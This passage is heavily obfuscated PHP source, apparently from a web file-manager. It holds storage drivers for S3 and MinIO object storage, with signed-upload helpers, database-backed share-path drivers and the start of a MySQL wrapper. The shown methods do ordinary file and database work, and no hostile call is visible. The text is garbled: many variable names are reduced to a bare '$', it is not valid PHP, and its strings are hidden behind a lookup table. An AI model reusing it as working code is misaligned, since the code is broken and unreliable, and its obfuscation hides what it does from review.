$this->getPathOuter($ى); } return !1; } public function mkdir($ޱ, $ۊ = REPEAT_SKIP) { $ָ =& $_SERVER[̧]; if (empty($ޱ) && $ޱ !== $ָ[198]) { return !1; } if ($ۊ && $this->_isFolder($ޱ)) { return $this->getPathOuter($ޱ); } $˩ = $this->setContent($ޱ, $ָ[12], !0); if ($˩ !== !1) { return $this->getPathOuter($ޱ); } return !1; } public function copyFile($, $͡, $Ǟ = array()) { $ =& $_SERVER[̧]; $ = $this->objectMeta($); if (!$) { return !1; } if ($[$[76]] <= 1024 * 1024 * 200) { $̢̳ = $this->client->copyObject($this->bucket, $, $this->bucket, $͡, $[199], $Ǟ); } else { $̢̳ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $͡, $Ǟ); } $̢̳ = $̢̳ ? $this->getPathOuter($͡) : !1; return $̢̳; } public function moveFile($ֽя, $䰌ſ) { if ($this->copyFile($ֽя, $䰌ſ)) { $this->delFile($ֽя); return $this->getPathOuter($䰌ſ); } return !1; } public function delFile($ڙ) { return $this->client->deleteObject($this->bucket, $ڙ); } public function delFolder($) { $ȥ =& $_SERVER[̧]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $Ɠ = $this->fileList($); $this->listItemCache = !0; $ǩ = trim($, $ȥ[8]) . $ȥ[8]; if (!empty($) && $ !== $ȥ[198] && !in_array($ǩ, $Ɠ[$ȥ[82]])) { $Ɠ[$ȥ[82]][] = $ǩ; } $ = $this->delByBatch($Ɠ[$ȥ[83]]); if (!$) { return !1; } $ = $this->delByBatch($Ɠ[$ȥ[82]]); if (!$) { return !1; } return $this->delFile($ǩ); } private function delByBatch($À) { foreach (array_chunk($À, 1000) as $ě) { $􊲌 = $this->client->deleteObjects($this->bucket, $ě); if (!$􊲌) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function listPath($ۤ, $Ԗ = false) { $ =& $_SERVER[̧]; $Í = $this->fileList($ۤ, $[8], !0); foreach ($Í[$[82]] as $؄ => $ٯŽ) { $Í[$[82]][$؄] = $this->folderInfo($ٯŽ, $Ԗ, $ٯŽ); } foreach ($Í[$[83]] as $؄ => $ٯŽ) { $Í[$[83]][$؄] = $this->fileInfo($ٯŽ[$[32]], $Ԗ, $ٯŽ); } return $Í; } protected function infoChildren($Ǡ, &$ʞ) { $쒧 =& $_SERVER[̧]; $ = $this->fileList($Ǡ, $쒧[12], !0); $ʞ[$쒧[78]] += count($[$쒧[82]]); $ʞ[$쒧[77]] += count($[$쒧[83]]); foreach ($[$쒧[83]] as $) { if (!$ || !$[$쒧[76]]) { continue; } $ʞ[$쒧[76]] += $[$쒧[76]]; } } private function fileInfo($ݼ, $ = false, $ = array()) { $ˁ =& $_SERVER[̧]; $∶ = array($ˁ[32] => $this->pathThis($ݼ), $ˁ[84] => $this->getPathOuter($ݼ), $ˁ[33] => $ˁ[200], $ˁ[174] => $this->ext($ݼ), $ˁ[76] => isset($[$ˁ[76]]) ? $[$ˁ[76]] : 0); if ($) { return $∶; } $∶[$ˁ[201]] = $∶[$ˁ[85]] = 0; $∶[$ˁ[202]] = $∶[$ˁ[203]] = !0; if (empty($)) { $ = $this->objectMeta($ݼ); if (!$) { return $∶; } } if (isset($[$ˁ[180]])) { $∶[$ˁ[85]] = $[$ˁ[180]]; } if (isset($[$ˁ[76]])) { $∶[$ˁ[76]] = $[$ˁ[76]]; } return $∶; } private function folderInfo($ǫ, $ = false, $ = array()) { $۾ߡ =& $_SERVER[̧]; $ = array($۾ߡ[32] => $this->pathThis($ǫ), $۾ߡ[84] => $this->getPathOuter($۾ߡ[8] . $ǫ), $۾ߡ[33] => $۾ߡ[75]); if ($) { return $; } $[$۾ߡ[201]] = $[$۾ߡ[85]] = 0; $[$۾ߡ[202]] = $[$۾ߡ[203]] = !0; if ($ǫ == $۾ߡ[12]) { return $; } if (empty($)) { $ = $this->objectMeta(trim($ǫ, $۾ߡ[8]) . $۾ߡ[8]); } if (isset($[$۾ߡ[180]])) { $[$۾ߡ[201]] = $[$۾ߡ[180]]; } return $; } private function fileList($̭, $ = '', $ͭ = 0) { $۟é =& $_SERVER[̧]; $׻ = rtrim($̭, $۟é[8]) . $۟é[8]; $ = $this->listObjs($׻, null, null, $); if (!$) { return array($۟é[82] => array(), $۟é[83] => array()); } $ = $嫠 = array(); foreach ($[$۟é[204]] as $ܜ) { $ = $ܜ[$۟é[32]]; if ($ == $׻) { continue; } $ = isset($ܜ[$۟é[76]]) ? $ܜ[$۟é[76]] : 0; $Ľ = $ == 0 && substr($, strlen($) - 1, 1) == $۟é[8] ? !0 : !1; $this->cacheMethodInfoSet($, $Ľ, $ܜ); if ($Ľ) { $[] = $; continue; } $嫠[] = $ͭ ? $ܜ : $; } foreach ($[$۟é[205]] as $ܜ) { $[] = $ܜ[$۟é[32]]; $this->cacheMethodInfoSet($ܜ[$۟é[32]], !0); } $this->cacheMethodInfoSet($̭, !0); return array($۟é[82] => $, $۟é[83] => $嫠); } private function listObjs($Ҳ, $ԏ = null, $ד = null, $ۨ = null) { $ =& $_SERVER[̧]; $Ҳ = trim($Ҳ, $[8]); $ԉ = empty($Ҳ) && $Ҳ !== $[198] ? $[12] : $Ҳ . $[8]; return $this->client->getBucket($this->bucket, $ԉ, $ԏ, $ד, $ۨ, !0); } public function has($Ƨɶ, $ = false, $֠ = true) { $ =& $_SERVER[̧]; $Ƨɶ = trim($Ƨɶ, $[8]); $ = empty($Ƨɶ) && $Ƨɶ !== $[198] ? $[12] : $Ƨɶ . $[8]; $ = null; $ѝ = 500; $ = $[8]; $ȕ = $꧆ = array(); while (!0) { $ٯ = $this->listObjs($Ƨɶ, $, $ѝ, $); if (!$ٯ) { break; } $ = $ٯ[$[206]]; $ = $ٯ[$[204]]; $ = $ٯ[$[205]]; if (empty($) && empty($)) { break; } if (count($) == 1 && $[0][$[32]] == $) { break; } if ($) { if (count($)) { $ = array_column($, $[32]); $ȕ = array_merge($ȕ, $); } if (count($)) { $ = array_column($, $[32]); $꧆ = array_merge($꧆, $); } if ($ === null) { break; } continue; } if ($֠) { if (!empty($)) { if (count($) > 1 || isset($[0][$[32]]) && $[0][$[32]] != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === null) { break; } } if ($) { $ȕ = array_diff($ȕ, array($)); $ȕ = count(array_unique($ȕ)); $꧆ = count(array_unique($꧆)); return array($[207] => $ȕ, $[208] => $꧆); } return !1; } public function listAll($) { $ =& $_SERVER[̧]; $ = $this->fileList($, $[12], !0); $颟ݸ = array_to_keyvalue($[$[83]], $[32]); foreach ($[$[82]] as $Ǔ) { if (is_string($Ǔ)) { $颟ݸ[$Ǔ] = array($[76] => 0); } } return $this->listAllFiles($, $颟ݸ); } public function canRead($ۿ䭚) { $ԩ =& $_SERVER[̧]; $֥ = $this->client->getAccessControlPolicy($this->bucket, $ۿ䭚); if (!$֥) { return !1; } return in_array($֥, array($ԩ[209], $ԩ[210], $ԩ[211])) ? !0 : !1; } public function canWrite($„) { $ˀŠ =& $_SERVER[̧]; $\ = $this->client->getAccessControlPolicy($this->bucket, $„); if (!$\) { return !1; } return in_array($\, array($ˀŠ[209], $ˀŠ[210])) ? !0 : !1; } public function getContent($쓞ŋ) { return $this->client->getObject($this->bucket, $쓞ŋ); } public function setContent($×, $ψۊ = '', $ܔ = false) { $Ճĩ =& $_SERVER[̧]; $× = $ܔ ? trim($×, $Ճĩ[8]) . $Ճĩ[8] : $×; $ܰ = get_file_mime(get_path_ext($×)); $ = $this->client->putObject($ψۊ, $this->bucket, $×, $Ճĩ[199], array(), $ܰ); if (!$) { return !1; } if ($ܔ) { return !0; } $this->cacheMethod(null, null); $ = $this->copyFile($×, $×, array($Ճĩ[212] => $[$Ճĩ[213]])); return $ ? !0 : !1; } public function fileSubstr($ҵ, $, $ܾʢ) { $ = $ + $ܾʢ - 1; return $this->client->getObject($this->bucket, $ҵ, array($_SERVER[̧][214] => "\142\x79\164\145\163\75{$}\55{$}")); } public function upload($ñ, $֘, $ = false, $Ӏ = REPEAT_REPLACE) { $ɧۏ =& $_SERVER[̧]; $ɨ = array($ɧۏ[212] => @md5_file($֘)); $ͧɑ = array($ɧۏ[215] => get_file_mime(get_path_ext($ñ))); if (IO::size($֘) <= 1024 * 1024 * 200) { $ų = $this->client->putObjectFile($֘, $this->bucket, $ñ, $ɧۏ[199], $ɨ, $ͧɑ); return !empty($ų) ? $this->getPathOuter($ñ) : !1; } $ = $this->client->multiUploadObject($֘, $this->bucket, trim($ñ, $ɧۏ[8]), $ɨ, $ͧɑ); return $ ? $this->getPathOuter($ñ) : !1; } public function download($݁, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $ = $this->client->getObject($this->bucket, $݁, array(), $); return $ !== !1 ? $ : !1; } public function link($捣, $֍٩ = array()) { $خ =& $_SERVER[̧]; if ($this->signVer == $خ[216]) { return $this->client->getAuthenticatedURL($this->bucket, $捣, 3600 * 12, $֍٩); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($捣, $خ[8]), 3600 * 12, $this->region, array(), !0, $֍٩); } public function fileOut($¾֝, $Ɏ = false, $훔 = false, $ = '') { $ӛ =& $_SERVER[̧]; if ($this->isFileOutServer()) { return $this->fileOutServer($¾֝, $Ɏ, $훔, $); } if (!$훔) { $훔 = $this->pathThis($¾֝); } $漏 = get_file_mime(get_path_ext($훔)); if ($漏 == $ӛ[217]) { return parent::fileOut($¾֝, $Ɏ, $훔, $); } $ў = array($ӛ[218] => $漏); if ($Ɏ) { $ў[$ӛ[219]] = $ӛ[220] . rawurlencode($훔); } else { } $ɷ = $this->link($¾֝, $ў); $this->fileOutLink($ɷ); } public function fileOutServer($, $喡 = false, $؈ = false, $Οۨ = '') { parent::fileOut($, $喡, $؈, $Οۨ); } public function fileOutImageServer($ʞ, $ = 250) { parent::fileOutImage($ʞ, $); } public function hashMd5($, $ = '') { $ǣ =& $_SERVER[̧]; $ = $this->objectMeta($); if (!$) { return !1; } $ = $ ? $ : _get($, $ǣ[221]); $ = $ ? $ : _get($, $ǣ[213], $ǣ[12]); return $; } public function uploadFormData($ޚ, $Ι = 3600) { $٦ =& $_SERVER[̧]; $ܯȻ = $this->pathFather($ޚ); $ = $this->client->getHttpUploadPostParams($this->bucket, $ܯȻ, $٦[199], $Ι); return array_merge((array) $, array($٦[182] => $this->getHost())); } public function multiUploadFormData($㙓, $ĩⴕ = 3600) { $х =& $_SERVER[̧]; $ף = gmdate($х[222]); $̚ = array(); $Ƭ = $this->client->getUploadId($this->bucket, $㙓, $̚); if (!$Ƭ) { return !1; } return array($х[223] => $Ƭ, $х[182] => $this->getHost() . $х[8] . $this->pathEncode($㙓), $х[224] => $ף, $х[94] => $㙓); } public function multiUploadAuthData($퉩, $ջ = array()) { $➁ =& $_SERVER[̧]; $ = isset($ջ[$➁[224]]) ? $ջ[$➁[224]] : gmdate($➁[222]); $؛½ = isset($ջ[$➁[174]]) ? $ջ[$➁[174]] : $➁[12]; $۶ʭ = $ջ[$➁[94]]; unset($ջ[$➁[94]]); if (isset($ջ[$➁[225]])) { $ջ[$➁[224]] = $; return $this->listUploadParts($۶ʭ, $ջ); } $գ = array($➁[226], $➁[12], $➁[120], $➁[12], "\170\55\x61\155\x7a\x2d\x64\141\x74\x65\72{$}", $➁[8] . $this->bucket . $➁[8] . $this->pathEncode($۶ʭ) . $؛½); if (strpos($؛½, $➁[227]) === 0) { $գ[0] = $➁[228]; } if (isset($ջ[$➁[229]]) && $ջ[$➁[229]] == $➁[230]) { $գ[0] = $➁[230]; } $ = implode($➁[231], $գ); $ = base64_encode(hash_hmac($➁[232], $, $this->secret, !0)); $퍱 = $➁[233] . $this->accessKey . $➁[4] . $; if (strpos($؛½, $➁[227]) === 0) { return array($➁[234] => $퍱, $➁[224] => $); } return $퍱; } public function listUploadParts($͠, $ = array()) { $̜ =& $_SERVER[̧]; $亟 = str_replace($̜[235], $̜[12], $[$̜[174]]); $؛ = $this->client->listParts($this->bucket, $͠, $亟); if (!$؛) { return !1; } unset($[$̜[225]], $[$̜[229]]); $[$̜[94]] = $͠; $ֻТ = $this->multiUploadAuthData($͠, $); if (empty($ֻТ)) { return !1; } return array($̜[234] => $ֻТ, $̜[224] => $[$̜[224]], $̜[236] => $؛); } public function getHost() { return parent::getHost() . $_SERVER[̧][8] . $this->bucket; } public function size($۩ʳ) { $Ô = $this->objectMeta($۩ʳ); return $Ô ? $Ô[$_SERVER[̧][76]] : 0; } public function info($Ҝ) { if ($this->isFolder($Ҝ)) { return $this->folderInfo($Ҝ); } else { if ($this->isFile($Ҝ)) { return $this->fileInfo($Ҝ); } } return !1; } public function exist($Ѕ) { return $this->isFile($Ѕ) || $this->isFolder($Ѕ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($­ו) { return $this->cacheMethod($_SERVER[̧][165], $­ו); } protected function objectMeta($⿖) { return $this->cacheMethod($_SERVER[̧][167], $⿖); } protected function _objectMeta($) { $ =& $_SERVER[̧]; $ = rtrim($, $[8]); try { $߶ = $this->client->getObjectInfo($this->bucket, $); if (!isset($߶[$[221]]) && isset($߶[$[237]])) { $߶[$[221]] = $߶[$[237]]; } } catch (Exception $Ֆ) { $߶ = !1; } if (!$߶) { } return $߶; } protected function _isFolder($) { $ =& $_SERVER[̧]; $ = rtrim($, $[8]); if ($ == $[12] || $ == $[8]) { return !0; } $݂ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($݂[$[204]])) { return !1; } $ע = $݂[$[204]][0][$[32]]; return stripos($ע, $ . $[8]) === 0 ? !0 : !1; if (substr($ע, -1) == $[8]) { return !0; } if (get_path_this($ע) == get_path_this($)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ϛ) { parent::__construct($ϛ); $this->signatureVersion($_SERVER[̧][216]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function uploadFormData($, $ʩϭ = 3600) { $ٲ =& $_SERVER[̧]; $ۙ = $ٲ[199]; $ψ = $ٲ[238]; $ό = $ٲ[62]; $ = gmdate($ٲ[239]); $Ϳ = gmdate($ٲ[240]); $ߪ = $ٲ[241]; $̥ = $ʩϭ . $ٲ[12]; $ϩ = $ٲ[242]; $虂 = array($this->accessKey, $Ϳ, $this->region, $ό, $ߪ); $ = implode($ٲ[8], $虂); $ = array($ٲ[243] => gmdate($ٲ[244], strtotime($ٲ[245])), $ٲ[246] => array(array($ٲ[247] => $this->bucket), array($ٲ[248] => $ۙ), array($ٲ[249], $ٲ[250], $ٲ[12]), array($ٲ[249], $ٲ[251], $ٲ[12]), array($ٲ[249], $ٲ[252], $ٲ[12]), array($ٲ[253] => $ϩ), array($ٲ[254] => $), array($ٲ[255] => $ψ), array($ٲ[256] => $), array($ٲ[257] => $̥))); $ǔ = base64_encode(json_encode($)); $ = hash_hmac($ٲ[258], $Ϳ, $ٲ[259] . $this->secret, !0); $ćަ = hash_hmac($ٲ[258], $this->region, $, !0); $ڧ = hash_hmac($ٲ[258], $ό, $ćަ, !0); $ȿ = hash_hmac($ٲ[258], $ߪ, $ڧ, !0); $ˮ = hash_hmac($ٲ[258], $ǔ, $ȿ); $Ί = array($ٲ[215] => $ٲ[12], $ٲ[260] => $ٲ[12], $ٲ[248] => $ۙ, $ٲ[253] => $ϩ, $ٲ[261] => $ǔ, $ٲ[262] => $, $ٲ[263] => $ψ, $ٲ[264] => $, $ٲ[265] => $̥, $ٲ[266] => $ˮ, $ٲ[182] => $this->getHost()); return $Ί; } } goto C; Bίˈ: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[̧][1353]); } public function getPath($ܪ) { return trim($ܪ, $_SERVER[̧][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); return $ ? $[$_SERVER[̧][470]] : !1; } public function pathThis($ϻ) { $ = $this->infoSimple($ϻ); return $ ? $[$_SERVER[̧][32]] : !1; } public function getPathOuter($⭺) { if (!$⭺) { return $⭺; } $𢘨 = $this->parse($⭺); return KodIO::make($𢘨[$_SERVER[̧][437]]); } public function copyFolderFromIO($, $, $, $ǐ, $ŵ) { $ = $this->model->copyFolderFromIO($, $, $, $ǐ, $ŵ); return KodIO::make($); } public function isParentOf($, $߫) { return $this->model->isParentOf($, $߫); } public function mkfile($ȕ, $ٺɑ = '', $ڂ = REPEAT_RENAME) { $ğ =& $_SERVER[̧]; $Ϸ = $this->parse($ȕ); $ȕ = $Ϸ[$ğ[437]]; for ($ۊ = 0; $ۊ < count($Ϸ[$ğ[1354]]); $ۊ++) { $ȧÞ = $Ϸ[$ğ[1354]][$ۊ]; if ($ۊ == count($Ϸ[$ğ[1354]]) - 1) { $ȕ = $this->model->mkfile($ȕ, $ȧÞ, $ٺɑ, $ڂ); break; } $ȕ = $this->model->mkdir($ȕ, $ȧÞ, REPEAT_SKIP); } return $this->getPathOuter($ȕ); } public function mkdir($徚, $͐ = REPEAT_SKIP) { $· =& $_SERVER[̧]; $ = $this->parse($徚); $徚 = $[$·[437]]; for ($ʍ = 0; $ʍ < count($[$·[1354]]); $ʍ++) { $ = $[$·[1354]][$ʍ]; $徚 = $this->model->mkdir($徚, $, $͐); } return $this->getPathOuter($徚); } public function copyFile($, $̌ͭ, $ַ = REPEAT_REPLACE) { $ =& $_SERVER[̧]; $ = $this->parse($̌ͭ); $ĥڼ = $this->model->copy($, $[$[437]], $ַ, $[$[84]]); return $ĥڼ ? $this->getPathOuter($ĥڼ) : !1; } public function moveFile($厰, $θݫ, $ = REPEAT_REPLACE) { $ݸ߁ =& $_SERVER[̧]; $ºي = $this->parse($θݫ); $ = $this->model->move($厰, $ºي[$ݸ߁[437]], $, $ºي[$ݸ߁[84]]); return $ ? $this->getPathOuter($) : !1; } public function copy($ˇ, $, $ܘ = REPEAT_REPLACE, $ͽ̒ = false) { $͝٫ = $this->parse($); $áѽ = $this->model->copy($ˇ, $͝٫[$_SERVER[̧][437]], $ܘ, $ͽ̒); return $áѽ ? $this->getPathOuter($áѽ) : !1; } public function moveSameAllow() { } public function move($ҳ, $؂, $ = REPEAT_REPLACE, $ƶ = false) { $흟 = $this->parse($؂); $ = $this->model->move($ҳ, $흟[$_SERVER[̧][437]], $, $ƶ); return $ ? $this->getPathOuter($) : !1; } public function remove($, $ = true) { return $this->model->remove($, $); } public function rename($쁜, $ܑ) { $Ȳ = $this->model->rename($쁜, $ܑ); return $Ȳ ? $this->getPathOuter($쁜) : $Ȳ; } public function size($) { $ߞ = $this->infoSimple($); return $ߞ ? $ߞ[$_SERVER[̧][76]] : 0; } public function infoSimple($蘭) { return $this->model->sourceInfo($蘭); } public function info($藁) { return $this->infoParse($藁); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($І) { return $this->infoParse($І, !0); } protected function infoParse($ڲ, $ = false, $ٹ = false) { if (!$) { return $this->model->pathInfo($ڲ, $ٹ); } return $this->model->pathInfoMore($ڲ); } public function infoFull($۹߆) { $ =& $_SERVER[̧]; $֦ = explode($[8], $۹߆); $ = implode($[8], array_splice($֦, 1)); return $this->model->pathInfoByPath($֦[0], $); } public function hashSimple($) { $ê =& $_SERVER[̧]; $섞 = $this->infoWithChildren($); return $섞[$ê[170]][$ê[177]]; } public function hashMd5($) { $춻̩ =& $_SERVER[̧]; $ʌܤ = $this->infoWithChildren($); return $ʌܤ[$춻̩[170]][$춻̩[176]]; } public function exist($Ĺ⋨) { $Υ =& $_SERVER[̧]; $ = $this->parse($Ĺ⋨); if (!$[$Υ[84]]) { return $this->isFile($Ĺ⋨) || $this->isFolder($Ĺ⋨); } $穰 = array($Υ[439] => $[$Υ[437]], $Υ[32] => $[$Υ[84]]); $ = $this->model->where($穰)->find(); return $ ? !0 : !1; } public function isFile($幕) { $ =& $_SERVER[̧]; $񍾿 = $this->infoSimple($幕); return $񍾿 && $񍾿[$[448]] == $[88] ? !1 : !0; } public function isFolder($󩪈ƃ) { $ =& $_SERVER[̧]; $햖 = $this->infoSimple($󩪈ƃ); return $햖 && $햖[$[448]] == $[88] ? !0 : !1; } public function listPath($Х, $˄ = false) { $م =& $_SERVER[̧]; if ($Х == $م[12]) { return !1; } $ = array($م[439] => $Х); if ($˄) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $Є = false, $ܐ = null) { $Ͳ =& $_SERVER[̧]; $٫ = $this->infoWithChildren($); if ($Є) { return array($Ͳ[208] => $٫[$Ͳ[208]], $Ͳ[207] => $٫[$Ͳ[207]]); } return $ܐ ? $٫[$Ͳ[208]] : $٫[$Ͳ[207]]; } public function listAll($򃀵) { $ش = IO::info($this->pathParse[$_SERVER[̧][84]]); if (!$ش) { return array(); } return $this->model->listAll($򃀵); } public function getContent($η׏) { return $this->model->getContent($η׏); } public function setContent($Է, $φ = '') { return $this->model->setContent($Է, $φ); } public function fileSubstr($, $ðĵ, $Ϛ) { return $this->model->fileSubstr($, $ðĵ, $Ϛ); } public function download($, $Փҫ = '') { $ĭ = get_path_father($Փҫ); $ה = get_path_this($Փҫ); $ڤއ = $this->model->fileInfoGet($); $ = IO::copy($ڤއ[$_SERVER[̧][84]], $ĭ, !1, $ה); return $; } public function setModifyTime($ܟ, $Ҽ٨ = '') { $ۛ =& $_SERVER[̧]; if (!$ܟ) { return; } $this->model->where(array($ۛ[455] => $ܟ))->save(array($ۛ[85] => $Ҽ٨)); } public function upload($ǻԬ, $, $ = false, $ = REPEAT_REPLACE) { $эـ =& $_SERVER[̧]; $ = $this->parse($ǻԬ); $ = $this->model->addFile($[$эـ[437]], $, $[$эـ[84]], $, $); return $this->getPathOuter($); } public function uploadFileByID($, $۳, $ø۩) { $щ皧 =& $_SERVER[̧]; $ܞ熿 = $this->parse($); $껃 = $this->model->addFileByFileID($ܞ熿[$щ皧[437]], $۳, $ܞ熿[$щ皧[84]], $ø۩); return $this->getPathOuter($껃); } public function addFileByRemote($ϵĦ, $, $풚 = array(), $ͤ = '', $ʀ) { $ջ =& $_SERVER[̧]; $҃ = $this->parse($ϵĦ); $ͤ = empty($ͤ) ? $҃[$ջ[84]] : $ͤ; $䫆 = $this->model->addFileByRemote($҃[$ջ[437]], $, $ͤ, $풚, $ʀ); return $this->getPathOuter($䫆); } public function uploadLink($տ, $ = 0) { $ܐ =& $_SERVER[̧]; $ = $this->parse($տ); $ʝ = _get($GLOBALS[$ܐ[7]], $ܐ[1355]); $ = _get($GLOBALS[$ܐ[7]], $ܐ[1356]); $տ = Model($ܐ[639])->createFileName($[$ܐ[84]], $ʝ, $); return IO::uploadLink($տ, $); } public function fileNameAuto($, $, $ҹѤ = REPEAT_REPLACE, $˒ = false) { return $this->model->fileNameAuto($, $, $ҹѤ, $˒); } public function fileNameExist($Ʀ, $) { return $this->model->fileNameExist($Ʀ, $); } protected function _fileOut($, $ = false, $竼 = false, $ـ• = '', $˖ = false) { $᎗ =& $_SERVER[̧]; $ = $this->model->sourceInfo($); if ($[$᎗[448]] == $᎗[88]) { header($᎗[1357]); die; } $Î = $this->model->fileInfoGet($); $ـ• = $Î[$᎗[176]] ? $Î[$᎗[176]] : $ـ•; $֦ = isset($GLOBALS[$᎗[1358]]) ? $GLOBALS[$᎗[1358]] : $[$᎗[32]]; if ($˖) { return IO::fileOutServer($Î[$᎗[84]], $, $֦, $ـ•); } IO::fileOut($Î[$᎗[84]], $, $֦, $ـ•); } public function fileOut($ၹ, $ߎ = false, $ = false, $ = '') { $this->_fileOut($ၹ, $ߎ, $, $); } public function fileOutServer($, $ = false, $ߺ = false, $徥 = '') { $this->_fileOut($, $, $ߺ, $徥, !0); } protected function _fileOutImage($, $ = 250) { $ەѢ =& $_SERVER[̧]; $۲ = $this->model->pathInfo($); if ($۲[$ەѢ[448]] == $ەѢ[88]) { show_json($ەѢ[1359] . $, !1); } $֔ = $this->model->fileInfoGet($); $֔[$ەѢ[32]] = $۲[$ەѢ[32]]; $֔[$ەѢ[169]] = $۲[$ەѢ[169]]; $GLOBALS[$ەѢ[1358]] = $֔[$ەѢ[32]]; $GLOBALS[$ەѢ[168]] = $֔; IO::fileOutImage($֔[$ەѢ[84]], $); } public function fileOutImage($Ϫ, $ = 250) { $this->_fileOutImage($Ϫ, $); } public function fileOutImageServer($⇠, $̀ơۇ = 250) { $this->_fileOutImage($⇠, $̀ơۇ); } public function link($, $ݧϹ = '') { $ەɳ = $this->model->fileInfoGet($); return IO::link($ەɳ[$_SERVER[̧][84]], $ݧϹ); } protected function parse($皜) { $㱖 =& $_SERVER[̧]; if (strstr($皜, $㱖[8]) === !1) { return array($㱖[457] => intval($皜), $㱖[84] => $㱖[12], $㱖[1354] => array()); } $ = explode($㱖[8], trim($皜, $㱖[8])); if (count($) < 2) { show_tips(clear_html($皜) . $㱖[1360]); } return array($㱖[457] => intval($[0]), $㱖[84] => $[1], $㱖[1354] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($ก) { $this->pathParse = $ก; $this->model = Model($_SERVER[̧][1353]); } public function getPathOuter($) { $М =& $_SERVER[̧]; if (!$) { return $; } $灱 = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$М[437]], $灱[$М[437]]), $М[8]); } protected function infoParse($ޠ͒, $ = false, $г = false) { $ލ =& $_SERVER[̧]; $լ = $this->pathParse[$ލ[437]]; $ۢ܌ = trim($this->pathParse[$ލ[1188]], $ލ[8]); return Action($ލ[1361])->sharePathInfo($լ, $ۢ܌, $); } public function infoFull($驺) { $塚 =& $_SERVER[̧]; $Õ = explode($塚[8], trim($驺, $塚[8])); if (count($Õ) > 1) { $ = implode($塚[8], array_splice($Õ, 1)); $ش˨ = $this->model->pathInfoByPath($Õ[0], $); if (!$ش˨) { return !1; } $this->pathParse[$塚[1188]] = $ش˨[$塚[440]]; } return $this->infoParse($驺); } public function listAll($ĕŬ) { $縅 =& $_SERVER[̧]; $ = IO::info($this->pathParse[$縅[84]]); if (!$) { return array(); } $킟Ն = $this->model->listAll($ĕŬ); $Ӭ = Model($縅[630])->getInfo($[$縅[631]]); foreach ($킟Ն as &$ޜ) { check_abort(); $ޜ[$縅[87]] = Action($縅[1361])->_shareItemeParse($ޜ[$縅[87]], $Ӭ); } unset($ޜ); return $킟Ն; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($ڂ) { $this->pathParse = $ڂ; $this->model = Model($_SERVER[̧][1353]); } protected function infoParse($ˁ, $һ = false, $ = false) { $Ľ =& $_SERVER[̧]; return Action($Ľ[1194])->sharePathInfo($this->pathParse[$Ľ[84]], !0, $һ); } public function listPath($, $Ѯ = false) { $䯇 =& $_SERVER[̧]; $ = parent::listPath($, $Ѯ); if (!$) { return $; } if (is_array($[$䯇[1362]])) { $[$䯇[1362]] = Action($䯇[1194])->shareItemInfo($[$䯇[1362]]); } foreach ($ as $ => $ߐ) { if (!in_array($, array($䯇[83], $䯇[82]))) { continue; } foreach ($ߐ as $ => $£) { $[$][$] = Action($䯇[1194])->shareItemInfo($£); } } return $; } public function listAll($թ) { $׼Ή =& $_SERVER[̧]; $Ռ = IO::info($this->pathParse[$׼Ή[84]]); if (!$Ռ) { return array(); } $ = $this->model->listAll($թ); foreach ($ as &$) { $[$׼Ή[87]] = Action($׼Ή[1194])->shareItemInfo($[$׼Ή[87]]); } unset($); return $; } } goto A; D: class DbMysql extends Db { public function __construct($ = '') { $ =& $_SERVER[̧]; if (!extension_loaded($[824])) { think_exception(think_lang($[14]) . $[905]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $խ = 0, $ڄ = false) { $ҭ =& $_SERVER[̧]; if (!isset($this->linkID[$խ])) { if (empty($)) { $ = $this->config; } $ܹ = $[$ҭ[906]] . ($[$ҭ[907]] ? "\72{$[$ҭ[907]]}" : $ҭ[12]); $򙌙 = !empty($[$ҭ[17]][$ҭ[18]]) ? $[$ҭ[17]][$ҭ[18]] : $this->pconnect; if ($򙌙) { $this->linkID[$խ] = mysql_pconnect($ܹ, $[$ҭ[908]], $[$ҭ[909]], 131072); } else { $this->linkID[$խ] = mysql_connect($ܹ, $[$ҭ[908]], $[$ҭ[909]], !0, 131072); } if (!$this->linkID[$խ] || !empty($[$ҭ[21]]) && !mysql_select_db($[$ҭ[21]], $this->linkID[$խ])) { think_exception(mysql_error()); } $Ԇ = mysql_get_server_info($this->linkID[$խ]); mysql_query($ҭ[910] . think_config($ҭ[911]) . $ҭ[58], $this->linkID[$խ]); if ($Ԇ > $ҭ[912]) { mysql_query($ҭ[913], $this->linkID[$խ]); } $this->connected = !0; if (1 != think_config($ҭ[22])) { unset($this->config); } } return $this->linkID[$խ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ =& $_SERVER[̧]; if (0 === stripos($, $[293])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($ǣ) { $׸ =& $_SERVER[̧]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ǣ; if ($this->queryID) { $this->free(); } think_action_status($׸[25], 1); think_status($׸[24]); $噛 = mysql_query($ǣ, $this->_linkID); $this->debug(); if (!1 === $噛) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return 